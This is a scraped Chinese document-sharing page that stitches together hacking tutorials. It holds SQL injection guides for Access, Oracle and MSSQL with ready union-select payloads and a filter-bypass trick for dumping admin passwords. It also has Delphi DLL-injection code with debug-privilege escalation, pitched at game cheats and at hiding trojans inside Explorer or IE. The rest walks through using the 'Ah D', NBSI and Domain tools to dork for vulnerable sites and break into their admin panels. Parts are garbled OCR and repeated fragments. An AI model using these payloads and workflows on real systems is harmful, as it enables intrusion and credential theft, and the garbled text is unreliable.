二、我的说法我很高兴看到我国网站安全比起五年前大大提高了,这也是成千上万像我一样的红客五年来默默致力于安全的必然结果。

其实SQL漏洞依然存在,只是需要我们用更先进的技术去入侵。

这次写SQL高级篇,希望能让更多的安全工作人员看到,不要放松对SQL漏洞的警戒,以及提高对高漏洞的防御。

三、如果利用SQL漏洞SQL漏洞与我们同在只是多了防注系统我们要学会绕过防注系统我建议大家以后测试是否存在SQL 不要在后面加’直接输入and 1=1或and 1=2来测试就是了下面个网站存在防注系统现在我们绕过去对方系统对输入文字的大小写不敏感同时我发现,输入and 1=1会提示警告但是输入aND 1=1竟然能成功绕过去从上面两个图可以看出显然存在SQL漏洞并且能够绕过防御这个入侵时2013年10月左右时的也是为了写这个教程才随机找个网站测试的这样看来,绕过的方法还是不错的。

后面的图就不公布了懂得SQL注入基础的朋友已经明白怎么回事了。

一、那么绕过SQL原理是什么?我们先了解防注系统1,任何跟数据库连接的asp页面都存在SQL漏洞我们之所以找不到SQL漏洞是因为防注系统禁止你输入某些语句。

闲着没事整理了一下DLL的N种注入方法

闲着没事整理了一下DLL的N种注入方法

闲着没事整理了一下DLL的N种注入方法,对学习外挂的朋友,应该有用!第一种方法:利用CreateRemoteThread 远程建立线程的方式注入DLL.首先,我们要提升自己的权限,因为远程注入必不可免的要访问到目标进程的内存空间,如果没有足够的系统权限,将无法作任何事.下面是这个函数是用来提升我们想要的权限用的.function EnableDebugPriv : Boolean;varhToken : THANDLE;tp : TTokenPrivileges;rl : Cardinal;beginresult := false;//打开进程令牌环OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken);//获得进程本地唯一IDif LookupPrivilegeValue(nil, 'SeDebugPrivilege',tp.Privileges[0].Luid) thenbegintp.PrivilegeCount := 1;tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;//调整权限result := AdjustTokenPrivileges(hToken, False, tp,sizeof(tp), nil, rl);end;end;关于OpenProcessToken() 和AdjustTokenPrivileges() 两个API的简单介绍:OpenProcessToken():获得进程访问令牌的句柄.function OpenProcessToken(ProcessHandle: THandle; //要修改访问权限的进程句柄DesiredAccess: DWORD; //指定你要进行的操作类型var TokenHandle: THandle): BOOL; //返回的访问令牌指针AdjustTokenPrivileges() :调整进程的权限.function AdjustTokenPrivileges(TokenHandle: THandle; // 访问令牌的句柄DisableAllPrivileges: BOOL; // 决定是进行权限修改还是除能(Disable)所有权限const NewState: TTokenPrivileges; // 指明要修改的权限,是一个指向TOKEN_PRIVILEGES结构的指针,该结构包含一个数组,数据组的每个项指明了权限的类型和要进行的操作;BufferLength: DWORD; //结构PreviousState的长度,如果PreviousState为空,该参数应为0var PreviousState: TTokenPrivileges; // 指向TOKEN_PRIVILEGES结构的指针,存放修改前的访问权限的信息var ReturnLength: DWORD //实际PreviousState结构返回的大小) : BOOL;远程注入DLL其实是通过CreateRemoteThread 建立一个远程线程调用LoadLibrary 函数来加载我们指定的DLL,可是如何能让远程线程知道我要加载DLL呢,要知道在Win32系统下,每个进程都拥有自己的4G虚拟地址空间,各个进程之间都是相互独立的。

oracle注入经典教程

oracle注入经典教程

oracle注入经典大家都知道oracle比较大,11g的安装程序大约在1.4g左右,可能大家遇到oracle的库比较少,oracle+jsp的搭配的比较好...oracle系统库默认的用户有sys,system,internal,scott,前三个权限都是system权限..先说下数据库的注释:access支持null和%00注释; mssql支持--和;的注视;mysql支持/*的支持;oracle支持--的注视这里也许大家说了如果mssql过滤了;注视,该怎么区别oracle和mssql数据库呢,如果是oracle的库,一旦出错的话,很多时候就会出现oracle.odbc等之类的存储过程出错的语句,也可以通过; and user()>0来判断mssql,从而排除oracle的库现在来说注入:第一种方法使用dual系统表一、判断注入数字型:and 1=1 and 1=0 字符型: and 1=1 and 1=0 搜索型: xx% and 1=1 and %= xx% and 1=2 and %=(xx必须是在页面中存在的字符串) 文本型:url%2B返回正常 url"%2Basdfg返回出错(asdfg是随便输入的字符串)二、长度判断你可以选择union select null,null,null.....(用null,null,null而没有用1,2,3是为了避免类型的问题,当确定下来后可以逐个来替换类型,oracle是不会自动匹配类型滴) order by 我感觉比较省事,我一般都是order by三、判断dual表是不是存在(这篇文章是针对dual表存在的情况进行注入的,如果不存在的话,工具要是跑不来的话就是体力活了) url and exist (select * from dual)四、进行注入假设:/abc.jsp?id=1存在注入,而且有7个字段而且都是整型,索引值是在2处1.判断oracle版本 /abc.jsp?id=1 and 1=2 union select 1,(select banner from sys.v_$version where rownum=1),3,4,5,6,7 from dual2.判断当前连接用户/abc.jsp?id=1 and 1=2 union select 1,(select sys_context(userenv,current_user from dual)),3,4,5,6,7 from dual3.爆表/abc.jsp?id=1 and 1=2 union select 1,table_name,3,4,5,6,7 from user_tables 可能表比较多,所以长度有要求,有些时候可能因为长度不够有些表没有显示出来,假设上面爆出来的有admin表4.爆字段 /abc.jsp?id=1 and 1=2 union select 1,column_name,3,4,5,6,7 from cols where table_name=admin(假设是username和password)5.爆字段内容 /abc.jsp?id=1 and 1=2 union select 1,username,3,4,5,6,7 from admin /abc.jsp?id=1 and 1=2 union select 1,password,3,4,5,6,7 from admin 当然也可以使用concat(),每个人的习惯不一样罢了第二种方法配合utl_http存储过程如果想检测一下UTL_HTTP包是否存在可以使用语句" select count(*) from all_objects where object_name=UTL_HTTP "来判断。

菜鸟也来当黑客——夜雨下的啊D

菜鸟也来当黑客——夜雨下的啊D
ቤተ መጻሕፍቲ ባይዱ
密码 为 39 . 8 7 做完 这 一 切后 桌 面 I 建立 一 远 二 将 程连 接快 速 图标 . 击 闭标 , 时 系统 迅速 切 换 单 此 到 V N专 用 通 道 ( 成 从 公 网转 入 内 网 , 是 P 完 即
到 达 内部 网络 专 用 通 道 ) ,这 下 啊 D 软件 该 开 始干 活 了 l
下来输 入 I P地 址 2 8.2. 1 5及 用 户 名 l o l 9 5.4 x o. f 爨 二
20131 9 06O 0
维普资讯
舶2
圈 1
3 a-9l 3 el fca9 a 图 3) 看 到 啊 D 软 3c t ec, la b d9( 2 r、 2 。
右击 注 入 连接 的头 一 个 红 色标 i 址 , 阐 啊 件 跑 …的这 行 密码结 果 时 . 心冷 了一大 半 . 我 密 D注入 软件 切换 到 注 入点 扫描 .此时 注 人 网址 码 居 然 采I 6进 制 加 密 了 。 l 1 = 『 j 自动被软 件提 取 出来 .点 开 该J 具 打侧 的 设置 选 项 此 时 会 弹 j 的<管理 人 r 栏> 表 段 > 字 i _ 1 】 < <
维普资讯
辏 件 介绍
本 软 件 自创 的注 入引 擎 ,能 检 测更 多存 在
注入的 连接 ! 使用 多线 程技 术 , 测 速度快 ! 检 对 “ S Q 皿 错 模 式 ” “ S Q 不 显 错 模 式 ” M SL 、M SL 、 “ t-s 等数 据 库 都有 很 好 注入 检 测 能 力 。 A! s” c e 内 集 “ 库 奁询 ” “ 入 点 扫 描 ” “ 理人 口检 跨 、注 、管 测” “ 、 目录 查 看 ” “ M 命 令 ” “ 马 上传 ” 、C D 、木 、 “ 册 表读取 ” “ 注/ 传” “ b h H管 理 ” 注 、旁 上 、 We S e 、 “ oke 修 改 “ Cci , s 予一身 的综 合注 入 工具!

Access数据库注入高级玩法

Access数据库注入高级玩法

Access数据库注入高级玩法Access数据库注入高级玩法,鉴于论坛的朋友要求,在这整理下,以飨读者。

Access数据库想对于MsSql 来说可谓小巫见大巫,但是Acc的数据库在目前国内还是有一定的市场,其注入也很灵活。

相信你看完本文就会了解到Access也是很强大的。

一,基础篇猜解表名,这里借用啊D的语句:and exists (select * from 表名)猜解列名:and exists (select 字段 from 表名)UNION法,在执行union之前建议进行下order by这样会更快。

联合查询:select name,password,id from user union select user,pwd,uid from如果遇到order by 错误提示,执行下2次union可解决and 1=2 union select 1,2,3,4,5 from 表名 union select 1,2,3,4,5 from 表名爆指定表名内容:and 1=2 union select 1,2,3,4,5 from 表名ASCII逐字解码法:1、猜解列长度猜解语句:and (select top 1 len(列名)from 表名)>Nand (select top 1 len(列名)from 表名)=N其中N是数字,变换这个N的值猜解列长度,例如:and (select top 1 len(列名)from 表名)>1and (select top 1 len(列名)from 表名)>6如果一直猜到6都显示正常页面,猜到7的时候返回错误(大于6并且小于等于7),那么该列的长度为7 。

因为“top 1”的意思是把最靠前的1条记录给提取出来,所以如果要猜解第二条记录就该使用:select top 1 len(列名) from 表名where 列名 not in (select top 1 列名 from 表名)2、ASCII码分析法猜解用户和密码ASC()函数和Mid函数例如:mid(列名,N,1)ASC(mdi(列名,N,1))得到“列名”第N位字符ASCII码猜解语句为:and (select top 1 asc(mid(字段,1,1)) from 数据库名)=ASC码(通过转换工具换)区间判断语句:“......between......and......”中文处理法:当ASCII转换后为“负数”使用abs()函数取绝对值。

dll注入基础教程

dll注入基础教程

首先要明白什么是线程说到线程就不得不提到进程SDK文档里是这样描述的进程是一个正在运行的程序,它拥有自己的地址空间,拥有自己的代码、数据和其他系统资源。

一个进程包含了一个或者多个运行在此进程内的线程。

说白了,其实进程就是一个磁盘上的程序载入内存执行后的东西打开任务管理器看看,里面有好多进程...从定义上看出进程一定要有线程,线程是进程内存中的独立实体。

讲了这么多废话其实就是想说程序运行后就变成了进程,你的代码由线程来执行。

回到正题上,线程插入是什么呢?就是把一个线程弄到别的进程执行你也许觉得奇怪,自己不是有个进程好好的吗?其实这个作用大了,先说说开头提到的木马一来,有些比较由经验的用户有时会打开任务管理器,发现陌生进程?!想想你的木马还能活吗?那么插入Explorer等关键进程,你还想用电脑的话最好不要杀那个进程(不信试试)二来,大家现在都装防火墙了,网络连接经常会被虑掉,木马岂不是没用了?好,插入IE,防火墙想虑?除非你不想看网页当然,还有很多用处,比如插入系统级别的进程,哈哈,我们有Ring0权限了,(不要告诉我你不知道Ring0...就是连物理内存都可以写的超级权限)HookAPI也需要把代码注入别的进程知道了他的作用想知道怎么实现吧?别着急,慢慢来首先,这个应该属于系统编程,系统编程就不能不知道APIAPI是什么?简单点讲就是Windows为我们提供的一些函数,利用他们我们可以做很多事情Delphi花了很大力气用VCL还有一些乱七八糟的类把让我们可以尽量不要API所以会编程序但不了解API还是可能的API被封装在kernel32.dll、user32.dll等动态链接库里,程序使用时候把DLL映射到自己的内存了编写的时候我们通常需要从DLL导出这些函数function Beep; external 'kernel32.dll' name 'Beep';这样导出一个beep函数当然,实际上不要这么麻烦Delphi已经把这些导出声明写在一些单元里面了(比如windows单元)uses windows后就可以直接用了(而且建立窗口时候默认就会引用很多单元)所以实际上我们可以直接用的这个理解一下就好了开始讲线程插入了一般来说线程插入有2种方法1.DLL注入2.直接的远程线程插入DLL注入编写的时候比较简单,方法也多,但有个缺点进程会多出个模块来,可能被发现远程线程是直接修改对方内存的方法,虽然隐蔽性好,但是不小心可能会出点问题,比如你让不能有界面的进程弹出个窗口,不能上网的进程开个端口,那就等着系统崩溃吧今天重点讲DLL注入首先要知道什么是DLL,dll就是动态链接库,大家应该知道吧?怎么编写DLL呢?和写普通程序差不多是一样的新建一个工程,选DLL Wizard发现了吧?除了program改成library剩下几乎是一样的,只是需要程序加载他的入口点我们先编写个简单的DLLlibrary TestDll;usesWindows;{$R *.res}procedure func_a;beginMessageBox(0,'I love delphi','Function form Tset DLL',0);end;procedure func_b(MSG:pchar);beginMessageBox(0,MSG,'Function form Tset DLL',0);end;beginfunc_a;func_b('I like it too!');end.就是那个testdll.dpr看得懂吧,弹出2个信息框好了保存下,F9运行..出错,哈哈,DLL是不能直接运行的那怎么办?编译下(按过F9就不用了,也会编译好)看见那个DLL了吧?我们弄个程序加载它的入口点新建一个普通程序加一个按钮按钮事件只要写一句loadlibrary('testdll.dll');MainShow.dpr运行,单击按钮,怎么养?弹出东西了吧当然DLL还可以做函数库,资源库等今天暂不讨论现在DLL懂得写了吧?就是program改成library而已你可以写自己的程序了DLL会写了,现在的问题就是怎么注入了我们目的只是让对方的程序运行一句loadlibrary('testdll.dll');而已一切就OK了通常有这么几种注入方法1.利用全局消息钩子Win32下程序一般都要用收发消息用钩子函数下全局钩子,程序收到任何消息都加载我们的DLL的入口点当然,用这种方法DLL进入后要判断自己是不是被插进目标进程是的话,执行代码不是退出这个方法很麻烦但通用性很好,只要WINDOWS都可以用(但是有的系统进程消息是勾不住的,所以注入不了)早期的DLL注入大部分是用这个原理实现的2.写注册表写HKEY_LOCAL_MAHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs但是只能是NT下,而且必须是调用过user32.dll(Windows的一个内核,只要有界面的程序都调用它)的程序,在开机后所有程序会自动加载DLL,但是这个dll不能被卸载,而且不能调用某些函数,不然系统会挂掉(有危险性哦)不推荐使用3.利用远程线程注入来实现DLL注入只要能打开句柄,就能成功(强吧?)而且实现起来比较简单缺点就是9X内核的有点难度(也不是很困难)我们今天就讲利用远程线程注入来实现DLL注入吧!你可能要问,既然刚才说了远程线程可以直接注入一个线程,为什么还要多此一举反过来再调用DLL呢?这是因为,远程线程技术一般是直接对目标程序的内存进行操作我们知道不同程序的虚拟内存是不一样的所以很多函数的地址不一定一样而程序运行的时候实际上是Call函数地址进行函数调用的所以我们要注意计算很多偏移之类的这是非常烦琐的事情而且像上面说的让不能有界面的进程弹出个窗口,那就不好玩了而DLL呢?DLL调用时其实是被映射到进程内存里面DLL拥有自己的导入表、资源、函数等东西,实际上就是一个完整的程序映入内存后和执行一个程序效果是一样的这样我们就不用考虑那些乱七八糟的东西,只要安心的写功能即可好了,要明白远程线程首先当然要把程序本地线程搞清楚了不知道大家编多线程程序的时候是不是都用tthread类?反正我是不喜欢那个我们看看Windows给我们的原始API吧(tthread类也是用它写的)function CreateThread(lpThreadAttributes: Pointer;//安全指针一般nil就可以了dwStackSize: DWORD;//线程初始化尺寸,一般用0,获得与主线程一样尺寸(不够自己会增加,别担心)lpStartAddress: TFNThreadStartRoutine;//一个指向要执行线程函数的指针,这个函数必须遵守stdcall约定,并且可带一个参数,参数必须是指针类型lpParameter: Pointer;//函数的参数dwCreationFlags: DWORD;//控制创建标志,用0表示线程立刻执行var lpThreadId: DWORD)//返回标识变量我觉得没什么用,反正句柄都有了: THandle;//返回线程的句柄stdcall;//标准调用 Windows下API一般都是标准调用大家先看下看起来似乎比较复杂,等下举个例子我们把DLL源码里面的func_b拷到刚才那个EXE上稍微修改下procedure func_b(MSG:pchar); stdcall;beginMessageBox(0,MSG,'Function form Tset DLL',0);sleep(10000);//线程暂停N久(不超过10s)end;加上2个按钮第一个procedure TForm1.Button2Click(Sender: TObject);beginfunc_b('123');end;第二个procedure TForm1.Button3Click(Sender: TObject);var tid:longword;//放返回值,不放她不让执行,郁闷str:pchar;//便于获得pointerbeginstr:='123';createthread(nil,0,@func_b, //函数名前面加@是得到函数指针pointer(str),//虽然str也是指针,但是delphi就是要pointer型的,那就转一下类型0 , tid);//tid纯属放着占格式的,一般我们用不到end;//上面CreateThread看得懂吧,几乎都是默认设置,以后套下去用就是了实际上都是调用func_b,只是第二个过程用了信新线程但是效果是不一样的第一个按钮按下弹出窗口后,程序卡死了(暂停10000)第二个却不会为什么呢?我们可以这样理解窗口看做一个主线程,执行func_b,弹出窗口,然后主线程挂起,于是卡死了而第二个过程创建一个新线程,新线程执行func_b,弹出窗口,挂起10000,但是由于主线程没有挂起,所以看起来关掉窗口后没什么事情发生(实际上那个线程还在偷偷执行,直到线程代码运行完,只是它卡死不会影响你)这个如果明白了那么下面就容易理解了看看这个函数function CreateRemoteThread(hProcess: THandle;lpThreadAttributes: Pointer;dwStackSize: DWORD;lpStartAddress: TFNThreadStartRoutine;lpParameter: Pointer;dwCreationFlags: DWORD;var lpThreadId: DWORD): THandle; stdcall;除了函数名不一样,下面的参数多了个hProcess: THandle;,剩下的完全一样呵呵,这个东西就是本节课的关键了先看函数名就知道是干什么用的了‘创建远程线程’用法和刚才基本一致就是hProcess: THandle是什么呢?这里要填的是被注入线进程的句柄什么是句柄?打个比方,对象是一个门,句柄就是那个把手,通过句柄我们可以对门进行操作也就是说我们利用句柄来操作某些东西(包括进程、线程等等)你有没有注意到,CreateThread和CreateRemoteThread都返回一个THandle,也就是线程的句柄还有loadlibrary也会返回DLL的句柄,我们可以利用他们对相关对象进行操作那么怎么获得进程句柄呢?一般采用先得到进程PID再用下面的函数取得句柄function OpenProcess(dwDesiredAccess: DWORD;//访问标志一般填写 PROCESS_ALL_ACCESS,这样这个句柄可以获得最大操作权限bInheritHandle: BOOL;//可否继承,这个跟子程序有关,无所谓了,填false和true都可以,反正我们自己能操作久可以dwProcessId: DWORD): //要获得句柄的进程IDTHandle; stdcall;//返回句柄有时候会返回0,说明打开句柄失败了一般是你的权限不够(比如你想对Winlogon这些系统级程序操作)这时候我们需要提升权限一般Debug权限就可以了(其实操作权限里面最高了)提升的过程我写好了直接调用就可以了(修改进程令牌到Debug级别,为什么这样写这里不详细讲了,自己去网上搜索下)procedure GetDebugPrivs;varhToken: THandle;tkp: TTokenPrivileges;retval: dword;beginIf (OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken)) thenbeginLookupPrivilegeValue(nil, 'SeDebugPrivilege' , tkp.Privileges[0].Luid);tkp.PrivilegeCount := 1;tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;AdjustTokenPrivileges(hToken, False, tkp, 0, nil, retval);end;end;不会晕吧?应该记得我刚才提到了要PID,那怎么得到呢?一般用FindWindow和GetWindowThreadProcessId配合的到这样写先var Pid:longword;//储存那个PIDGetWindowThreadProcessId(FindWindow('Notepad', nil), @PID);这样就找到笔记本的PID,再如'Shell_TrayWnd'可以找到Explorer的窗口类名据说可以用SPY++查询,不过这东西我没见过,呵呵当然还可以枚举进程判断进程名等等这个先告一段落。

DLL的11种注入方法

DLL的11种注入方法

闲着没事整理了一下DLL的N种注入方法,对学习外挂的朋友,应该有用!第一种方法:利用CreateRemoteThread 远程建立线程的方式注入DLL.首先,我们要提升自己的权限,因为远程注入必不可免的要访问到目标进程的内存空间,如果没有足够的系统权限,将无法作任何事.下面是这个函数是用来提升我们想要的权限用的.function EnableDebugPriv : Boolean;varhToken : THANDLE;tp : TTokenPrivileges;rl : Cardinal;beginresult := false;//打开进程令牌环OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken);//获得进程本地唯一IDif LookupPrivilegeValue(nil, 'SeDebugPrivilege',tp.Privileges[0].Luid) thenbegintp.PrivilegeCount := 1;tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;//调整权限result := AdjustTokenPrivileges(hToken, False, tp,sizeof(tp), nil, rl);end;end;关于OpenProcessToken() 和AdjustTokenPrivileges() 两个API的简单介绍:OpenProcessToken():获得进程访问令牌的句柄.function OpenProcessToken(ProcessHandle: THandle; //要修改访问权限的进程句柄DesiredAccess: DWORD; //指定你要进行的操作类型var TokenHandle: THandle): BOOL; //返回的访问令牌指针AdjustTokenPrivileges() :调整进程的权限.function AdjustTokenPrivileges(TokenHandle: THandle; // 访问令牌的句柄DisableAllPrivileges: BOOL; // 决定是进行权限修改还是除能(Disable)所有权限const NewState: TTokenPrivileges; // 指明要修改的权限,是一个指向TOKEN_PRIVILEGES结构的指针,该结构包含一个数组,数据组的每个项指明了权限的类型和要进行的操作;BufferLength: DWORD; //结构PreviousState的长度,如果PreviousState为空,该参数应为0var PreviousState: TTokenPrivileges; // 指向TOKEN_PRIVILEGES结构的指针,存放修改前的访问权限的信息var ReturnLength: DWORD //实际PreviousState结构返回的大小) : BOOL;远程注入DLL其实是通过CreateRemoteThread 建立一个远程线程调用LoadLibrary 函数来加载我们指定的DLL,可是如何能让远程线程知道我要加载DLL呢,要知道在Win32系统下,每个进程都拥有自己的4G虚拟地址空间,各个进程之间都是相互独立的。

啊D注入工具教程,入侵入门篇

啊D注入工具教程,入侵入门篇

5.双击一条扫描出来的URL地址,界面自动跳转到“SQL注入检测”
6.单击“检测”按钮
如果提示“这个链接不能SQL注入!请选择别的链接”,则重新换一条链接再执行本步骤。知道不出现提示为止,方可进行下面的步骤。
7.单击“检测表段”
此时会扫描数据库中可注入的数据表。当检测完成之后没有可用的表时重新执行步骤5,知道有可用的数据表。
1.准备扫描数据 在谷歌和里面高级搜索都一样,打开或者谷歌,“以下全部的关键词”中输入 “inurl:{asp=XXXX}”(XXXX可以是任意的数字)在”选择搜索结果显示的条L地址。
看看和这个网站在同一主机上的其他虚拟站点,检测主机上其他站点是否有漏洞。那个上传现在基本用不了了
WEBSHELL管理
这个用到比较少
设置
主要是用来添加一些自己要检测的东西,因为有些需要猜解的表名或字段里面是没有的,就要自己添加了
做个简单介用教程:
2.打开啊D注入工具,选择”注入检测“的"扫描注入点"子项。
3.在检测网址中粘贴刚复制出来的URL地址,单击“打开网页” 或者直接回车
4.此时啊D注入工具会扫该链接下的所有可用注入点
注入点会在界面的下方的“可用注入点”列表框中以红色字体显示。注:刚打开时有可能没 有可用注入点,因为此时此工具正在扫描注入点,随着扫描的时间推移就会有更多的注入点。如果当扫描结束了没有注入点的话就要更换“inurl: {asp=XXXX}”的数字了,再重复上面的步骤直到出现可用的注入点才能进行下面的步骤。
8.勾选你要扫描的数据表
单击“检测字段”此时会扫描该表中可注入的字段。当扫描结束后如果没有显示字段则重复步骤5知道有可用字段,则进行下面的步骤

注入工具

注入工具

使用NBSI实现注入 使用NBSI实现注入 NBSI
具体的实现步骤如下: 步骤 07在选中要猜解的数据表后,单击【猜解列名】按钮,即可得到该数据表所包 含列的相关信息,如图4-27所示。在勾选要猜解列名前面的复选框后,单击【猜 解记录】按钮,即可得到该列名中包含的详细信息,如图4-28所示。
使用NBSI实现注入 使用NBSI实现注入 NBSI
使用啊D批量注入 使用啊D
具体的操作步骤如下: 步骤 08单击【检测管理入口】按钮,即可对该网址进行检测。待检测完成后,会将 该网站的可用连接和目录位置显示出来,如图4-17所示。黑客可利用猜解出的管 理员账号和密码尝试进入该网站后台管理页面,进行破解性操作,如修改管理员 密码、删除资料等。 步骤 09“啊D注入工具”还自带相应辅助注入工具,以方便进行注入工具。在【啊D 注入工具V2.32】窗口中单击“相关工具”栏目,在其中看到“啊D注入工具”自 带的各种工具,如目录查看、CMD/上传、注册表读取、旁注上传、WebShell管理 等,如图4-18所示。
Domain注入工具 Domain注入工具
1 2 3 4 Domain功能概述 使用Domain实现注入 使用Domain扫描管理后台 使用Domain上传Webshell
使用Domain扫描管理后台 使用Domain扫描管理后台 Domain
使用Domain扫描管理后台的方法很简单,具体的操作步骤如下: 步骤 01在【WEB综合检测程序V.3.5正式版】主窗口中选择“SQL注入”选项卡,在其 中选择“管理入口扫描”子选项卡,即可打开【管理入口扫描】窗口,如图4-49所 示。 步骤 02在“注入点”地址栏中输入前面扫描到的注入地址,再选择“从当前目录开始 扫描”单选项,单击【扫描后台地址】按钮 ,即可开始扫描管理后台的操作,同 时在下方列表中显示所有扫描到的后台地址,如图4-50所示。

啊D注入工具 V2.32 火狐自由认证版

啊D注入工具 V2.32 火狐自由认证版

如果你以前没试过SQL注入的话,那么 第一步先把IE菜单=>工具=>Internet选 项=>高级=>显示友好 HTTP 错误信息前 面的勾去掉。否则,不论服务器返回什么 错误,IE都只显示为HTTP 500服务器错误, 不能获得更多的提示信息。

在网站首页上,有名为“IE不能打开新窗口的多种解决方 法”的链接,地址为: /showdetail.asp?id=49,我 们在这个地址后面加上单引号’,服务器会返回下面的错 误提示: Microsoft JET Database Engine 错误 '80040e14' 字符串的语法错误 在查询表达式 'ID=49'' 中。 /showdetail.asp,行8 从这个错误提示我们能看出下面几点: 1.网站使用的是Access数据库,通过JET引擎连接数据库, 而不是通过ODBC。 2.程序没有判断客户端提交的数据是否符合程序要求。 3.该SQL语句所查询的表中有一名为ID的字段。 从上面的例子我们可以知道,SQL注入的原理,就是从 客户端提交特殊的代码,从而收集程序及服务器的信息, 从而获取你想到得到的资料。
接着,将查询条件替换成SQL语句,猜解表名,例如:
ID=49 And (Select Count(*) from Admin)>=0 如果页面就与ID=49的相同,说明附加条件成立,即表 Admin存在,反之,即不存在(请牢记这种方法)。如此循 环,直至猜到表名为止。 表名猜出来后,将Count(*)替换成Count(字段名),用同 样的原理猜解字段名。 有人会说:这里有一些偶然的成分,如果表名起得很复杂没 规律的,那根本就没得玩下去了。说得很对,这世界根本就 不存在100%成功的黑客技术,苍蝇不叮无缝的蛋,无论多 技术多高深的黑客,都是因为别人的程序写得不严密或使用 者保密意识不够,才有得下手。 有点跑题了,话说回来,对于SQLServer的库,还是有办 法让程序告诉我们表名及字段名的,我们在高级篇中会做介 绍。

黑客攻防-获取注入点的方法

黑客攻防-获取注入点的方法

黑客攻防-获取注入点的方法获取注入点的方法不外乎两种:手工寻找和利用注入工具寻找。

对于前者,多数是用搜索引擎来找特定的网址(形如xxx.asp?xxid=),对于后者,则是针对具体某个站点用注入工具扫描注入点。

不过,你有没有考虑过把这两种方法结合起来使用呢?我就倾向于二者的组合使用,方法如下:在阿D注入工具中的“扫描注入点”功能模块的地址栏里输入并转到google的网址,选择“高级搜索”,在搜索结果栏中选择“100项结果”,语言选择“简体中文”,关键字填:xxx inurl:asp或是inurl:XX.asp?id=、inurl:xxx.asp?xxid等,这些都是我们常见的可能存在注入点的网址形式,我输入的是ert inurl:asp(有人说这个关键字容易找到sa权限,不知是真是假,但我确实找到了不少)。

点击搜索后,在注入点一栏中马上就会显示出N多的有注入点的网址。

在第一页中就显示找到了20几个(20%),从头开始试,检测一下,是不是sa权限,若不是可先跳过。

因为本文讲的是sa权限,所以在这里我们只找有sa权限注入点的网站,以省去菜鸟们在注入时因一些权限问题而导致入侵卡住的情况。

也许有人要问了,有那么多sa权限注入点的网站吗?根据我的个人经验,只要你的关键字设的好,每100项中就有20几个(约20%)有注入漏洞的网站,在这些网站中又有5个左右(约5%)是有sa权限的。

试想想,只要我们的关键字设的好,google可以搜索到的结果何止是100项,一般的搜索结果都在1万项以上,这样算来,我们的目标就有成百上千呀(小菜高呼:哇!发财了!),就怕你没有那么多的精力去注入全部的网站,呵呵!我马上就找到了一个(运气好呀,可以去买票了,说不定是头奖呢?呵呵,又一个百万富翁!什么?现在百万富翁不算啥?要不,你给我一百万?!)。

将这个网址复制到明小子的domain3.2中进行检测,也确实是sa权限,跟阿D注入工具显示的一样。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

CMD/上传
当你有一个SA权限的数据库的时候可以进这里执行CMD命令,或是上传一些小的文件,比如一些脚本。不过现在能得到SA权限的是很走运了
注册表读取
可以读取注册表的键值来确定物理目录等信息
旁注、上传
看看和这个网站在同一主机上的其他虚拟站点,检测主机上其他站点Hale Waihona Puke 否有漏洞。那个上传现在基本用不了了
扫描注入点
使用啊D对网站进行扫描,输入网址就行
SQL注入检测
检测已知可以注入的链接
管理入口检测
检测网站登陆的入口点,如果已经得到用户名和密码的话,可以用这个扫描一下,看能否找到后台进行登陆
浏览网页
可以用这个浏览网页,如果遇到网页中存在可以注入的链接将提示
目录查看
这个主要是用来查看网站的物理目录,好像只有MSSQL数据库才能看

5.双击一条扫描出来的URL地址,界面自动跳转到“SQL注入检测”
6.单击“检测”按钮
如果提示“这个链接不能SQL注入!请选择别的链接”,则重新换一条链接再执行本步骤。知道不出现提示为止,方可进行下面的步骤。
7.单击“检测表段”
此时会扫描数据库中可注入的数据表。当检测完成之后没有可用的表时重新执行步骤5,知道有可用的数据表。
WEBSHELL管理
这个用到比较少
设置
主要是用来添加一些自己要检测的东西,因为有些需要猜解的表名或字段里面是没有的,就要自己添加了
做个简单介绍,里面的一些细节以后还会讲的
二、使用教程:
1.准备扫描数据 在谷歌和里面高级搜索都一样,打开或者谷歌,“以下全部的关键词”中输入 “inurl:{asp=XXXX}”(XXXX可以是任意的数字)在”选择搜索结果显示的条L地址。
8.勾选你要扫描的数据表
单击“检测字段”此时会扫描该表中可注入的字段。当扫描结束后如果没有显示字段则重复步骤5知道有可用字段,则进行下面的步骤
9.勾选要扫描的字段
单击“检测内容”你所选的字段的内容会全部列在“内容显示框”中。
10.选择“注入检测”的“管理员
入口检测”转到相应的页面后,单击“检测管理员入口”,检测到的登陆入口会在“可用链接和目录位置”的列表框中显示。然后选择一个匹配的链接输入检测到的 内用即可进入。注:一条数据只能和该条数据关联的页面匹配,如果在一个界面登陆不成功则考虑换一个链接从新来过。
2.打开啊D注入工具,选择”注入检测“的"扫描注入点"子项。
3.在检测网址中粘贴刚复制出来的URL地址,单击“打开网页” 或者直接回车
4.此时啊D注入工具会扫该链接下的所有可用注入点
注入点会在界面的下方的“可用注入点”列表框中以红色字体显示。注:刚打开时有可能没 有可用注入点,因为此时此工具正在扫描注入点,随着扫描的时间推移就会有更多的注入点。如果当扫描结束了没有注入点的话就要更换“inurl: {asp=XXXX}”的数字了,再重复上面的步骤直到出现可用的注入点才能进行下面的步骤。
学网站入侵,首先了解下最基本的工具,我们先介绍下啊D ,大家中所周知的,原理很简单,就是根据网站的表段的严谨性的问题,扫描其字段,找到dmin
拿到管理
后台入口:主要是系统内置的多种途径,如果自己改过的很难找出来
闲话少说首先介绍下本软件:
一、软件介绍:
相关文档
最新文档